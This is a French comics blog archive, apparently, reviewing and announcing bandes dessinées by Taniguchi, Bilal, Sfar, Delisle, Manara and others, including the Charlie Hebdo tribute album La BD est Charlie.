Cette semaine, document.write(“”); en feuilletant le catalogue des bibliothèques de Montréal, j’ai fait la découverte de trois nouveaux manga de Jirô Taniguchi qui avaient échappé à mon attention jusque là: il s’agit de Les Gardiens du Louvre (que j’ai déjà commenté tout récemment), du volume 2 de Contrées Sauvages (que j’avais annoncé déjà en juillet de l’an dernier) et finalement, le plus nouveau de tous, Elle s’appelait Tomoji.
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Les Gardiens du Louvre

Résultat d’un projet spécial, coédité par Futuropolis et Louvre Éditions, où des artistes de BD s’inspirent des oeuvres du Louvre, cette bande-dessinée de Taniguchi nous offre des planches superbement détailées et colorées.

“(…) un dessinateur japonais fait étape en solitaire à Paris, dans l’idée de visiter les musées de la capitale. Mais, cloué au lit de sa chambre d’hôtel par une fièvre insidieuse, il se trouve confronté avant tout à une forme de solitude absolue (…). Alors que le mal lui laisse quelque répit, il met son projet à exécution, et se perd dans les allées bondées du Louvre (…) oscillant entre rêve et réalité, qui le mènera pour finir à la croisée des chemins entre tragédie collective et histoire personnelle.”

Les Gardiens du Louvre, par Jiro TANIGUCHI (Traduction: Ilan Nguyên). Paris, Futuropolis / Louvre Éditions, novembre 2014. 23.0 x 32.5 x 1.7 cm, 136 pg., album couleur et cartonné, 20,00 € / $37.95 Can. Sens de lecture original japonais. ISBN: 9782754810159. Recommandé pour public adolescent (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

Les contrées sauvages 2

“Au milieu d’une nature aussi cruelle que ses paysages sont sublimes et les créatures qui la peuplent sont hostiles, l’homme est la proie de tout, et surtout de lui-même. Véritable périple à travers les grands espaces, des montagnes japonaises aux étendues de l’Ouest américain, cette anthologie n deux tomes donne à voir une facette encore méconnue en France de l’oeuvre de Taniguchi : l’époque où, nourri de bande dessinée européenne, il s’essayait avec succès à la BD de genre en y insufflant ce qui est aujourd’hui encore sa marque de fabrique : un immense talent de raconteur d’histoires.”

Les Contrées Sauvages vol. 2, par Jirô TANIGUCHI. Paris: Casterman (collection Sakka), janvier 2015. 264 pgs, 15 x 21.4 x 2.2 cm, 13.95 € / $26.95 Can, ISBN: 9782203084445. Recommandé pour public adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Elle s’appelait Tomoji

“L’histoire vraie d’une rencontre signée Taniguchi

“Taniguchi met ici en scène la rencontre entre deux adolescents dans le Japon de l’entre-deux guerres (1925-1932). Tomoji vit dans la campagne au nord du mont Fuji, tandis que Fumiaki fait ses premiers pas de photographe à Tokyo. L’auteur nous fait découvrir avec sa sensibilité habituelle ce qui va unir ces personnages.”

“Une histoire inspirée de personnages réels qui fonderont par la suite une branche dérivée du bouddhisme.”

[Texte du site de l’éditeur; voir aussi la couverture arrière]

Elle s’appelait Tomoji , scénario: Jirô TANIGUCHI et Miwako Ogihara, dessin: Jirô TANIGUCHI. Paris: Rue de Sèvres, janvier 2015. 174 pgs, 18.5 x 25.5 cm, 17 € / $31.95 Can, ISBN: 9782369811312. Recommandé pour public adolescent (12+).

Extraits des pages 3 à 8


Un extrait plus long peut être consulté sur le site de l’éditeur
Pour plus d’information vous pouvez consulter les sites suivants:

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Les Gardiens du Louvre

Gardiens_du_Louvre-cov“Au terme d’un voyage collectif en Europe, un dessinateur japonais fait étape en solitaire à Paris, dans l’idée de visiter les musées de la capitale. Mais, cloué au lit de sa chambre d’hôtel par une fièvre insidieuse, il se trouve confronté avant tout à une forme de solitude absolue, celle des souffrants en terre étrangère, privés de tout recours immédiat au coeur de l’inconnu. Alors que le mal lui laisse quelque répit, il met son projet à exécution, et se perd dans les allées bondées du Louvre. Très vite, il va découvrir bien des facettes insoupçonnées de ce musée-monde, à la rencontre d’oeuvres et d’artistes de diverses époques, au cours d’un périple oscillant entre rêve et réalité, qui le mènera pour finir à la croisée des chemins entre tragédie collective et histoire personnelle.”

“Avec cet album en forme de voyage intérieur, Jirô Taniguchi nous invite à une traversée temporelle et artistique à la découverte d’un esprit des lieux, sous la houlette de quelques figures tutélaires, familières ou méconnues… Car le Louvre a ses gardiens.”

[ Texte du site de l’éditeur; voir aussi la couverture arrière ]

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Bilal: La couleur de l’air

Après Animal’z et Julia et Roem, document.write(“”); voici enfin le troisième volet de la trilogie événément signée Enki Bilal.
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“Dans un ciel sens dessus dessous ponctué d’immenses masses nuageuses aux allures menaçantes progresse le Zeppelin sinistré Garbage et son équipage incongru : un couple de passagers de hasard embarqués à Tanger, Anders Mikkeli et Esther Roblès, deux jumelles orphelines sujettes à de mystérieuses crises de citations littéraires, leur garde du corps et le cadavre démembré du pilote de l’appareil, suspendu à ce qui reste de sa nacelle détruite. Dans les soutes, un mélange de déchets nucléaires instables et d’armes atomiques en état de marche, indice probable des visées terroristes du Garbage. Balloté au gré de la violence des vents, ses équipements verrouillés sur navigateur automatique, l’aérostat semble totalement livré à lui-même, et pourtant… Pourtant quelque chose suggère qu’il y a peut-être là un dessein, une volonté, une direction. Car au même moment, nombre des personnages croisés au fil des deux précédents volumes de la trilogie – Ana et Lester, Bacon et son dauphin hybride, Julia, Roem et Lawrence, l’ex-aumonier militaire – se sont eux aussi mis en mouvement, comme mûs par un appel secret. Leur périple annonce-t-il le stade terminal du « coup de sang » planétaire ? S’agit-il des prémisses de la troisième guerre mondiale annoncée, qui mettra ainsi un point final à la crise environnementale généralisée ? Ou d’autre chose encore, divergeant de tout ce qu’on pouvait imaginer ?”

“Toujours magistral, tant dans la puissance et l’originalité de son récit que dans son traitement graphique et chromatique exceptionnel, Enki Bilal apporte un point final à la trilogie amorcée dans Animal’z et poursuivie dans Julia et Roem.” (Texte du site de l’éditeur)

Découvert en septembre dernier, ce n’est que maintenant que j’ai pu mettre la main sur cet album où Bilal conclut une autre de ses trilogies graphiques. Trois groupes de rescapés qui voyagent chacun à leur manière (par terre, par mer et par les airs) finissent par se rencontrer dans une apothéose apocalyptique. La terre a entreprise un grand changement, le coup de sang, une sorte de reset écologique où la planète entière se met en mouvement, se reconfigure, se transforme, où les continents se déplacent, la pollution est aspirée dans les profondeurs du globe, la gravité s’inverse (faisant voler les maisons et les baleines), et où même la mémoire des Hommes est remise à zéro. Tout cela semble coordonnée par la conscience planétaire afin de finalement offrir aux survivants un nouvel Eden plein d’espoir naïf. Une tabula rasa presque biblique! [Ci-contre: page 53]

L’idée du reset écolo est assez intéressante et les dessins sont superbes mais le récit est plutôt faible. C’est vraiment beau ce crayonné plein de couleurs glauques un peu vaporeuses mais je ne peut être que déçu. Je suis tout de même content de l’avoir lu mais aussi bien aise de ne pas l’avoir acheté — heureusement qu’il y a des bibliothèques publiques!

Extraits des pages 7 à 9 (cliquez pour agrandir):

La Couleur de l’air, par Enki Bilal. Paris: Casterman, octobre 2014. 96 pgs, 24 x 32.1 x 1.5 cm, 18.00 € / $34.95 CAN, ISBN: 978-2-203-03309-2. Suggéré pour lecteur adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

La Couleur de l’air © Enki Bilal & Casterman 2014.

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La BD est Charlie

Parce qu’un dessin vaut mieux qu’un long discours…
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“Du mercredi 7 janvier au vendredi 9 janvier 2015, document.write(“”); une série d’attentats a été perpétrée en France : plusieurs artistes et collaborateurs de la rédaction du journal satirique Charlie Hebdo, ainsi que des membres des forces de l’ordre et de la communauté juive, ont perdu la vie dans des circonstances tragiques.”

“En réponse, des dessinateurs de presse et auteurs de bande dessinée du monde entier ont réagi spontanément à ces événements.”

“Émouvants, poétiques, humoristiques, violents, satiriques… 183 dessins de 173 auteurs ont été rassemblés dans un recueil intitulé La BD est Charlie : hymne à la liberté d’expression permettant de témoigner de l’incroyable solidarité artistique que ce drame a suscité.”

“À l’initiative du groupe BD du Syndicat National de l’Édition, cet ouvrage est réalisé au profit des familles des 17 victimes des attentats, à qui sera reversée l’intégralité des bénéfices. Il a été publié conjointement et solidairement par les maisons d’édition de bande dessinée françaises qui ont offert gracieusement leurs services.”

“Dessinateurs, éditeurs, diffuseurs offrent tous leurs droits et leurs services, imprimeurs, papetiers, distributeurs travaillent à prix coûtant.”

«L’humour est un coup de poing dans la gueule.»

Cavanna, cofondateur de Hara Kiri et de Charlie Hebdo

[ Texte du site de l’éditeur et de la couverture arrière ]

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Ce “recueil est voué au dessin” et est dédié aux victimes des attentats : Frédéric Boisseau, Philippe Braham, Franck Brinsolaro, Jean Cabut dit Cabu, Elsa Cayat, Stéphane Charbonnier dit Charb, Yohan Cohen, Yoav Hattab, Philippe Honoré dit Honoré, Clarissa Jean-Philippe, Bernard Maris, Ahmed Merabet, Mustapha Ourrad, Michel Renaud, François-Michel Saada, Bernard Verlhac dit Tignous, et Georges Wolinski dit Wolinski. Cliquez sur les liens pour découvrir et vous souvenir (com-mémorer) qui étaient chacunes de ces victimes. Ce sont eux qui doivent être célébré. Je ne crois pas que l’on ait un devoir de mémoire envers les barbares qui ont perpétré ces actes sanguinaires au nom d’une idéologie et d’une religion qu’ils ne comprenaient probablement pas vraiment. [ci-contre: page 6]

Je crois qu’il est tout a fait louable de vouloir rassembler les caricatures produites en réaction aux attentats de janvier 2015 et de le faire au profit des victimes. Malheureusement ce n’est qu’une sélection et la qualité de l’ensemble est très variable. La plupart des caricatures marquantes qui ont été publié dans les journaux ou sur les réseaux sociaux dans les jours qui ont suivi s’y retrouvent (mais pas toutes) mais certaines sont plutôt médiocres (c’est quand même pas aussi pire que la plupart des dessins non-retenu!). J’ai bien aimé celle du crayon brisé qui devient deux crayons (par Lucille Clerc) ou celle du terroriste qui se justifie en disant “he drew first” (par David Pope). Je me souviens d’avoir vu d’excellentes caricatures en ligne qui ne s’y retrouvent pas. Dommage. Toutefois on peut retrouver l’intégralité (?) des dessins soumis sur les albums de la page Facebook du Festival international de la bande-dessinée d’Angoulême (album 1, album 2 et album 3).

Ce que j’ai bien aimé c’est qu’il n’y a pas que des caricatures hommages ou du genre “la lutte continue” mais aussi, dans le même esprit bête et méchant de Charlie Hebdo, des caricatures qui critiquent l’hypocrisie ou les excès dans les réactions aux attentats.

C’est donc plutôt moyen dans l’ensemble mais cela fait tout de même une assez bonne (mais très brève — ce ne sont que des dessins après tout) lecture de chevet apte à susciter un peu de réflexion.

On a beau critiquer, comme l’a fait le Pape François, l’aspect provocateur de l’humour à la Charlie Hebdo, mais on ne pourra jamais interdire la satire. Je l’ai déjà dit, je suis également de tout coeur avec la France qui proclame la liberté d’expression à tout prix (sauf, bien sûr, dans le cas de discours haineux). J’ai aussi beau être partisan de la sécularité, il ne faut tout de même pas oublié que cela inclut la liberté de religion (tant pour l’un que pour l’autre). Il faut simplement trouver une bonne balance entre les deux. Quand on vous insulte, si l’on dit des choses désagréable à votre égard, ou à l’égard de ce qui vous est cher, on peut argumenter, raisonner, faire valoir son point de vu divergeant, à la rigueur ignorer l’affront, mais il ne faut jamais au grand jamais répondre par la haine et la violence. C’est un principe primordial de civilité.

La satire de Charlie Hebdo s’accepte plus facilement quand l’on comprend d’où vient cette attitude insolente et irrévérencieuse. Cavanna, cofondateur avec le Professeur Choron de Hara Kiri et Charlie Hebdo, nous l’explique un peu en préface de l’ouvrage:

“(…) nous n’avions pas l’intention de faire de l’humour (…) mais bien de rire, de rire et de faire rire sans entraves, sans tabous et sans prétendre réformer les moeurs ou la morale, Rien n’est sacré. Pas même le bon goût. Pas même le militant. Surtout pas le croyant. Ne croyant à rien de transcendant, nous n’avions rien à respecter. L’humour est un coup de poing dans la gueule. Cette phrase, que je revendique, fut notre profession de foi. Rien n’est tabou, rien n’est sacré. (…) nous riions de tout et de tous. Le rire est brutal, provocateur, imprévisible, injuste, sans pitié. Il ne venge, ne punit ni ne juge. Il s’en fout.”

Autres extraits, pages 7 à 9 (cliquez pour agrandir):

La BD est Charlie, Collectif. Grenoble, Glénat, février 2015. 17 x 24 x 1,4 cm, 176 pg., 10,00 € / $22.95 CAN. ISBN: 978-2-344-00934-5. Suggéré pour lecteur adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

La BD est Charlie © 2015, multi-éditeurs.

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Le chat du rabbin 5. Jérusalem d’Afrique

chat-rabbin-5-jerusalem-d-afrique“Alors que Zlabya s’ennuie au côté de son époux, le rabbin reçoit une caisse contenant un peintre russe voulant parcourir l’Afrique pour retrouver la douzième tribu d’Israël.”

“Cinquième tome du best seller de Joann Sfar, Jérusalem d’Afrique est un éblouissant voyage dans une Afrique sublimée, croisement improbable sur plus de 80 pages entre Tintin au Congo et les chefs-d’oeuvre d’Albert Cohen. Et en plus le chat reparle.”

“Absolument indispensable.”

[ Texte du site de l’éditeur ]

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Le chat du rabbin 4. Le paradis terrestre

chat-rabbin-4-paradis-terrestre“Nous avions quitté le chat perplexe, à Paris, sous la pluie. Le voici de retour en Algérie, aux alentours d’Oran plus précisément. Là, il va passer quelques jours avec le Malka des lions, véritable légende vivante, mais légende qui vieillit et s’interroge sur le sens de la vie.”

“Savoureuse aventure philosophique, brillante digression théologique, ce quatrième tome du Chat du Rabbin est une pure merveille qui confirme le statut particulier de l’une des oeuvres majeures de la Bande Dessinée contemporaine. Deux ans se sont écoulés depuis la sortie de L’Exode, le précèdent tome du Chat du Rabbin, deux ans pendant lesquels la série est devenue, avec plus de 300 000 exemplaires vendus, le plus grand succès de la nouvelle Bande Dessinée et un véritable phénomène de société, qui a même débouché sur une pièce de théâtre.”

“Ce quatrième tome voit le retour du Chat en Algérie, aux alentours d’Oran, ce qui permet à Joann Sfar de dessiner d’un trait sensuel le Maghreb, le désert et les villes du Sud, balade qui le rapproche parfois de Pratt. Mais l’auteur profite surtout de son Chat pour tranquillement philosopher et reprend avec son lecteur cette conversation informelle autour de Dieu et des hommes, un dialogue délectable, et toujours jouissif dont on ressort un peu meilleur, en se posant plus de questions qu’avant d’en commencer la lecture.”

“Que peut-on demander de plus à un livre ?”

[ Texte du site de l’éditeur ]

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Le Chat du Rabbin 3. L’ Exode

chat-rabbin-3-exode“Le chat n’a pas pu empêcher la catastro- phe: Zlabya, sa maîtresse adorée, a épousé le jeune homme. Et le jeune homme a emmené Zlabya chez lui et il lui a offert une salle de bains. “Zlabya! Chez nous, il y avait un piano!” Voilà le chat épouvantablement triste, d’autant plus qu’il ne peut plus parler et que tout le monde s’en fout.”

“Et puis, la famille du jeune homme vivant à Paris et n’étant pas venue au mariage, Zlabya et son mari partent en voyage de noces à Paris. Avec le rabbin, sa malle pleine de livres et son chat. Lequel chat, dans sa grande sagesse, sent bien que ça n’emballe pas les jeunes mariés, tout ce tintouin. Bref, après un voyage emmitouflé comme s’il allait affronter les rigueurs du pôle Nord, le rabbin débarque à Paris et découvre la ville, la pluie, la Seine — “Les pauvres, même pas ils ont la mer” — et la transgression, en se tapant une orgie pas cachère du tout un soir de Shabbat.”

“Pendant ce temps, le chat trouve enfin quelqu’un à qui parler : un chien à peu près aussi joli que lui. Revoilà la smala merveilleuse, avec son rabbin infiniment émouvant et casse-bonbons, et son chat unique dans les annales de la bande dessinée.”

“Profondeur et légèreté, ironie et tendresse, sensualité du dessin — Sfar sous la pluie, avec ses personnages en détresse, reste à la hauteur de sa réputation de fabuleux conteur.”

[ Texte du site de l’éditeur ]

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Le Chat du Rabbin 2. Le Malka des Lions

chat-rabbin-2-malka-lions“Alger, une communauté juive du début du XXe siècle. Au centre de l’action, le chat du rabbin. Tordant, le chat : un squelette à oreilles, une dégaine de poubelle, un goût prononcé pour la discussion — c’est un chat parlant. En l’occurrence, il raconte à Zlabya, sa maîtresse adorée (et fille du rabbin), la vérité sur le Malka des Lions — un cousin qui doit arriver prochainement, tout auréolé et légende. On le dit capable de dompter un lion, même les yeux fermés. La vérité, c’est qu’il a pour ami un vieux lion poussif avec lequel il a monté un numéro : le lion effraie le monde, le Malka arrive et arrange tout. Ce qui lui attire gloire et récompenses variées.”

“En attendant, le rabbin a un problème : le consistoire israélite de France exige de lui qu’il fasse une dictée. En effet, s’il veut être agréé rabbin officiel au lieu de “juste rabbin comme ça”, il doit écrire en français — pour faire la prière en hébreu à des Juifs qui parlent arabe, note le chat dans sa grande sagesse.”

“(…) Sfar nous donne encore une fois un chef-d’oeuvre d’intelligence, d’humour et de tendresse — trois vertus qui s’expriment autant dans les dialogues, captivants et savoureux, que dans le dessin, merveilleux de finesse et de drôlerie.”

[ Texte du site de l’éditeur ]

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Le chat du rabbin 1. La Bar-Mitsva

chat-rabbin-tome-1-bar-mitsva“Au début, le chat du rabbin ne parle pas. Il est simplement libre comme un chat et ronronne dans les bras de la fille du rabbin, Zlabya, sa maîtresse adorée. Mais dans la maison du rabbin, il y a ce perroquet qui jacasse sans arrêt, et le chat le bouffe. Maintenant, il peut parler, et il commence par mentir : le perroquet est allé faire une course, dit-il, la gueule pleine de plumes. Mentir, c’est mal. Le rabbin décide donc de remettre le chat dans le droit chemin et d’en faire un bon Juif. Moyennant quoi, le chat exige de faire sa bar-mitsva. S’ensuivent des discussions très pointues avec le rabbin du rabbin, qui en conclut qu’on devrait noyer le chat.”

“Malgré le plaisir qu’il prend à ergoter et chipoter à n’en plus finir, le chat a de la peine, depuis qu’il a la parole. Il a acquis un pouvoir dont il se passerait bien. Et finalement, il retourne vers le bonheur et les bras de sa maîtresse, à condition de se conduire comme un vrai chat et de ne plus jamais parler. Il est d’accord : ” Ça vaut le coup de fermer sa gueule pour être heureux.”

“Il a seulement beaucoup de mal à fermer sa gueule en écoutant pérorer les disciples du rabbin, qu’il n’aime pas du tout, surtout celui qui veut épouser sa maîtresse…”

[ Texte du site de l’éditeur ]

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Découverte: un nouvel album de Bilal

Après Animal’z et Julia et Roem, document.write(“”); voici enfin le troisième volet de la trilogie événément signée Enki Bilal.
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“Dans un ciel sens dessus dessous ponctué d’immenses masses nuageuses aux allures menaçantes progresse le Zeppelin sinistré Garbage et son équipage incongru : un couple de passagers de hasard embarqués à Tanger, Anders Mikkeli et Esther Roblès, deux jumelles orphelines sujettes à de mystérieuses crises de citations littéraires, leur garde du corps et le cadavre démembré du pilote de l’appareil, suspendu à ce qui reste de sa nacelle détruite. Dans les soutes, un mélange de déchets nucléaires instables et d’armes atomiques en état de marche, indice probable des visées terroristes du Garbage. Balloté au gré de la violence des vents, ses équipements verrouillés sur navigateur automatique, l’aérostat semble totalement livré à lui-même, et pourtant… Pourtant quelque chose suggère qu’il y a peut-être là un dessein, une volonté, une direction. Car au même moment, nombre des personnages croisés au fil des deux précédents volumes de la trilogie – Ana et Lester, Bacon et son dauphin hybride, Julia, Roem et Lawrence, l’ex-aumonier militaire – se sont eux aussi mis en mouvement, comme mûs par un appel secret. Leur périple annonce-t-il le stade terminal du « coup de sang » planétaire ? S’agit-il des prémisses de la troisième guerre mondiale annoncée, qui mettra ainsi un point final à la crise environnementale généralisée ? Ou d’autre chose encore, divergeant de tout ce qu’on pouvait imaginer ?”

“Toujours magistral, tant dans la puissance et l’originalité de son récit que dans son traitement graphique et chromatique exceptionnel, Enki Bilal apporte un point final à la trilogie amorcée dans Animal’z et poursuivie dans Julia et Roem. L’un des titres les plus attendus de la fin d’année.” (Texte du site de l’éditeur)

Pas grand chose à ajouter sur ce nouveau Bilal sinon que j’ai bien hâte de le lire (la date de parution en France est le 2014/10/22, mais il est difficile de dire quand il sera disponible au Québec). Décidément, Bilal va de trilogie en trilogie nous présentant toujours le même futur glauque mais jamais ennuyant.

La Couleur de l’air, par Enki Bilal. Paris: Casterman, octobre 2014. 96 pgs, 24 x 32.1 x 1.5 cm, 18.00 €, ISBN: 978-2-203-03309-2.

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Le Guide du mauvais père (2)

Guide_du_mauvais_pere_2-cov“S’acharner sur son fils pour remporter une partie de jeu vidéo. Redoubler de mauvaise foi envers sa fille après avoir perdu à cache-cache. Pire, inventer une histoire de tueur psychopathe à la tombée de la nuit… Guy Delisle, un mauvais père ? Non, un auteur de bande dessinée qui sait puiser l’imagination là où elle se trouve, avec un sens aigu de l’observation et une bonne dose d’autodérision.”

[Texte du site de l’éditeur; voir aussi la couverture arrière]

Guy Delisle est surtout connu pour ses “travelogues” aux frontières hasardeuses de la géo-politique mondiale qu’on retrouve au Moyen et Extrême-Orient (les Shenzhen, Pyongyang, Chroniques Birmanes, Chroniques de Jérusalem, et qu’il me faudra bien commenter un jour), mais il a aussi commis des BDs plus traditionnelles (tels que Inspecteur Moroni ou Comment ne rien faire) ou des albums plus “familiaux” (tel que Louis au ski et Louis à la plage). Le Guide du Mauvais Père appartient à cette dernière catégorie. C’est un petit bijou fort mignon mais trop bref (192 pages peut être, mais avec seulement une ou deux grosses illustrations par page ce qui fait que le livre se lit très rapidement).

Guide_du_mauvais_pere_2-pl01Bon, le second volume est très similaire un premier (que j’ai commenté précédemment). Il s’agit de seize petites histoires toutes simples (Mathématiques, Lundi midi, Les devoirs, Le visiteurs, La dent, Nuit au gîte, La piñata, La cachette, Warcraft II, La librairie, Le Cancre, Baignade à La Réunion, Pendaison de crémaillère, Surcharge pondérale, Flash-back et Ponctualité) d’une douzaine de pages (entre 6 et 16 pages, deux panneaux par page) où un père un peu égoïste et amoral abuse psychologiquement ses enfants de son humour tordu, parfois sans vraiment sans rendre compte.

Cela crée des situations cocasses, sans doute inspirées de la vie quotidienne de l’auteur (mais, on l’espère, pas trop réelle). Ce qui est extraordinaire c’est qu’en quelques traits simples, Delisle réussi à décrire des situations ou des expressions tout de même assez complexes.

Tout comme le premier volume, c’est une BD qui offre un humour léger et se lit très rapidement. C’est une lecture agréable et amusante. Parfait pour l’autobus ou la salle d’attente.

Le Guide du Mauvais Père 2, par Guy Delisle. Paris, Éditions Delcourt (Coll. Shampooing), janvier 2014. 17.8 x 12.8 x 2.2 cm, 192 pg., 9,95 € / $15.95 Can. ISBN: 978-2-7560-4777-5. Recommandé pour jeune adulte (14+). stars-3-0

Pour plus d’information vous pouvez consulter les sites suivants:

[ AmazonBiblioGoodreadsGoogleWikipedia ]

Le Guide du Mauvais Père © 2014 Guy Delcourt Productions.

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Astérix chez les Pictes

Asterix_chez_les_Pictes-cov“Le Village d’Astérix enneigé se remet doucement d’un hiver glacial comme jamais, quand Astérix et Obélix font la plus étonnante des découvertes : un jeune homme enfermé dans un glaçon, échoué sur la plage ! Panoramix est formel : il s’agit d’un Picte. Mais qui sont les Pictes ? Des peuples de l’ancienne Ecosse, redoutables guerriers aux multiples clans, dont le nom, donné par les Romains, signifie littéralement «les hommes peints». Astérix chez les Pictes, c’est donc un voyage épique, en compagnie de Mac Oloch et de la belle Camomilla, vers une contrée riche de traditions. Au fil des pages, on découvre un peuple attachant dont les différences culturelles se traduisent en gags et jeux de mots mémorables. De l’eau de malt, des noms en Mac, des lancers de tronc, des bardes adeptes de la cornemuse, les origines du mur d’Hadrien et du monstre du Loch Ness sont dévoilés ! Et même des Gaulois en kilts, par Toutatis !”

[ Texte du site de l’éditeur ]

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Quelques nouvelles en BD

Calvin & Hobbes en livrel

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Presque trente ans après que Bill Watterson eu lancé sa fameuse série Calvin & Hobbes, document.write(“”); trois compilations rassemblant une bonne partie de son oeuvre sont maintenant disponible en format électronique: The Essential Calvin and Hobbes, The Authoritative Calvin and Hobbes, et The Indispensable Calvin and Hobbes. Ces collections se vendent pour $12.99 sur la plupart des sites de livrels comme celui pour le
Kindle d’Amazon, le Nook de Barnes & Noble et, bien sûr, pour l’iBooks d’Apple [ quoique le lien vers l’iBook store ne semble plus fonctionner… 😦 ].

[Sources (en anglais): Cult of Mac, The Verge]

La Pastèque au musée

La BD s’expose au Musée: 15 artistes de La Pastèque inspirés par la collection. Dans le cadre du 15e anniversaire de la maison d’édition La Pastèque, le Musée présente une exposition gratuite et originale mettant en vedette quinze des bédéistes qui ont fait le succès de l’éditeur au fil des ans : La BD s’expose au Musée – 15 artistes de La Pastèque inspirés par la collection. Après une visite au MBAM et des recherches dans sa base de données, Isabelle Arsenault, Pascal Blanchet, Paul Bordeleau, Pascal Colpron, Cyril Doisneau, Patrick Doyon, Jean-Paul Eid, Pascal Girard, Réal Godbout, Janice Nadeau, Michel Rabagliati, Marc Simard, Rémy Simard, Siris et Leif Tande ont chacun choisi une œuvre de la collection dont ils se sont ensuite inspirés pour créer un récit inédit.”

L’exposition se tient du 6 novembre 2013 au 30 mars 2014 au Pavillon Jean-Noël Desmarais (Niveau 3). L’entrée est libre en tout temps.

[Source: MBA]

Hayao Miyazaki de retour sur la planche à dessin!

Hayao Miyazaki avait pourtant annoncé sa retraite, mais deux mois plus tard on le surprend à travailler sur un manga! Je suppose qu’il prenait sa retraite de production d’animation seulement et que, maintenant qu’il du temps à lui, il se remet sur les choses qu’il voulait vraiment produire.

L’émission de télé de la NHK Professional Shigoto no Ry?gi (style de travail professionnel) a montré Miyazaki en train de dessiner un manga de samurai! “Miyazaki a affirmer vouloir dessiner des histoires sur la période des Royaumes combattants du Japon (Sengoku) et autres histoires qui ne peuvent être classifiées”. Cette histoire sera prépublié dans un magazine qui n’a pas encore été identifié [MàJ 12/09: il s’agirait de Model Graphix] et Miyazaki le fait sur une base bénévole, c’est-à-dire qu’il ne désire pas être rémunéré. Le style du manga ressemble beaucoup au style riche et chargé qu’il a utilisé pour son vieux manga de Nausicaä de la vallée du vent.

[Source (en anglais): ANN]

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L’âne d’or par Milo Manara

La version érotique d’un classique de la littérature latine, document.write(“”); revu par l’un des maîtres de l’érotisme en bande dessinée.”
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“Cet album propose le récit des péripéties du jeune Lucius, transformé en âne et soumis aux vicissitudes d’une vie d’errance. Brigands, sorcières et patriciennes aux mœurs légères se succèdent au fil de ce conte érotique sans tabous, tour à tour inquiétant et truculent. Inspiré de L’Ane d’Or d’Apulée, ce récit fait partie des œuvres marquantes de Milo Manara, au sommet de son art.” [ Texte du
site de l’éditeur ]

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J’ai déjà mentionné cette adaptation de Milo Manara quand j’ai commenté Les Métamorphoses ou l’âne d’or d’Apulée et je m’étais promis d’y jeter un oeil. Et bien c’est fait.

Milo Manara est un artiste de renom et de grand talent, qui se consacre surtout à la bande-dessinée érotique. Il n’est donc pas surprenant qu’il ait choisi d’illustrer l’oeuvre d’Apulée dont le sujet se prête très bien à l’érotisme. Il n’en est d’ailleurs pas à sa première adaptation (il a auparavant réalisé le Décaméron de Boccace, les Voyages de Gulliver de Jonathan Swift, Vénus et Salomé de Pierre Louÿs, ou même le Kama-Sutra). L’âne d’or n’est pas exempt d’influences, car certains décors (grosses têtes de statues en arrière-plan) ne sont pas sans rappeler le Satyricon de Fellini, un cinéaste qui l’a d’ailleurs souvent inspiré et avec qui il a parfois collaboré. L’âne d’or a d’abord été publié aux Humanoïdes Associés en 1999. Il a connu une second édition en 2007 sous le titre “Le Métamorphose de Lucius,” puis a été réédité en 2011 sous le titre original.

L’album nous raconte les mésaventures de Lucius qui voyage en Thessalie pour affaires. Arrivé à Hypata, il loge chez l’avare Milon dont la femme Pamphile est réputée magicienne. Il se rend aux bains où il rencontre son ancienne nourrice, Byrrhène, qui l’invite à une fête le lendemain. Il retourne chez Milon pour le repas et, le soir venu, la servante Photis le rejoins dans sa couche pour un accouplement torride (la seule véritable scène de sexe de l’album, qui pour le reste offre surtout beaucoup de nudité). Le lendemain, Lucius se rends à la fête que Byrrhène donne à l’occasion des Lupercales (célébrant la fécondité, bacchus et le dieu des rires). Le banquet dégénère en orgie et Lucius revient complètement ivre. Croyant voir des brigands dans la nuit, il les attaque de son glaive. On l’arrête et le juge pour avoir tué d’innocents citoyens mais finalement tout cela n’est qu’une supercherie pour se moquer de lui. De retour chez Milon, Lucius retrouve Photis qui a reçu une belle fessée, car on croit qu’elle a trahit les secrets de sa maîtresse (ici la raison de la fessé diffère du récit original). Lucius, curieux, espionne la sorcière avec l’aide de Photis. Il la voit s’enduire d’un onguent et se transformer en oiseau de nuit. Il désire faire de même mais se voit plutôt transformé en âne!

Ainsi débutent véritablement les tribulations de Lucius. Photis le cache dans l’écurie et il lui suffira de manger quelques roses fraîches au matin pour faire disparaitre le sortilège. Toutefois, des brigands dévalisent la villa de Milon durant la nuit et l’âne (Lucius) est réquisitionné pour porter le butin. Il s’échappe du repère des brigands avec une de leur captives mais ils sont recapturé. Toutefois, ils sont libéré par l’époux de celle-ci qui s’était secrètement joint au groupe. On le confit aux soins d’un jeune garçon qui se révèle très cruel et torture Lucius. Il s’échappe à nouveau mais se retrouve vendu aux enchères à une secte de Cybèle. Puis devient une bête de somme chez un meunier. Puis est acheté par un couple de patriciens qui le traite fort bien, mais dont la maîtresse s’offre à lui et, ne pouvant refuser, il la prends avec son gros phallus d’âne! (Ici Manara montre tout de même un certaine pudeur: s’il n’hésite pas à montrer le membre viril de Lucius lorsqu’il est avec Photis, les scènes de bestialité, elles, sont savamment cachée par les bulles!) Ayant prouvé sa valeur, il se retrouve à jouer l’époux d’une condamné dans un spectacle du cirque. Mais réalisant qu’ils seront tous deux livrés aux fauves, il s’enfui à nouveau. Il court jusqu’à la mer où il implore la miséricorde de Cerès (Isis). Celle-ci lui apparait et promet sa rédemption. Au matin, il rencontre une procession et le prêtre porte une couronne de roses. Il en mange et redevient enfin un homme!

Le récit de Manara est assez fidèle à l’histoire d’Apulée, non pas tant par son exactitude que par son esprit. En effet, Manara choisit judicieusement les scènes qu’il illustre, ne sélectionnant que celles qui sont le plus propice à son sujet préféré: l’érotisme. Il omet le récit des contes intercalaires (l’histoire de Thelyphron ainsi que celle d’Eros et Psyché) et quelques une des tribulations de Lucius (ou en altère certains événements). Toutes ces omissions et changements rendent le récit un peu saccadé et anecdotique. En fait, l’histoire que Manara nous raconte est une sorte de condensé de lecture (Reader’s digest) érotique!

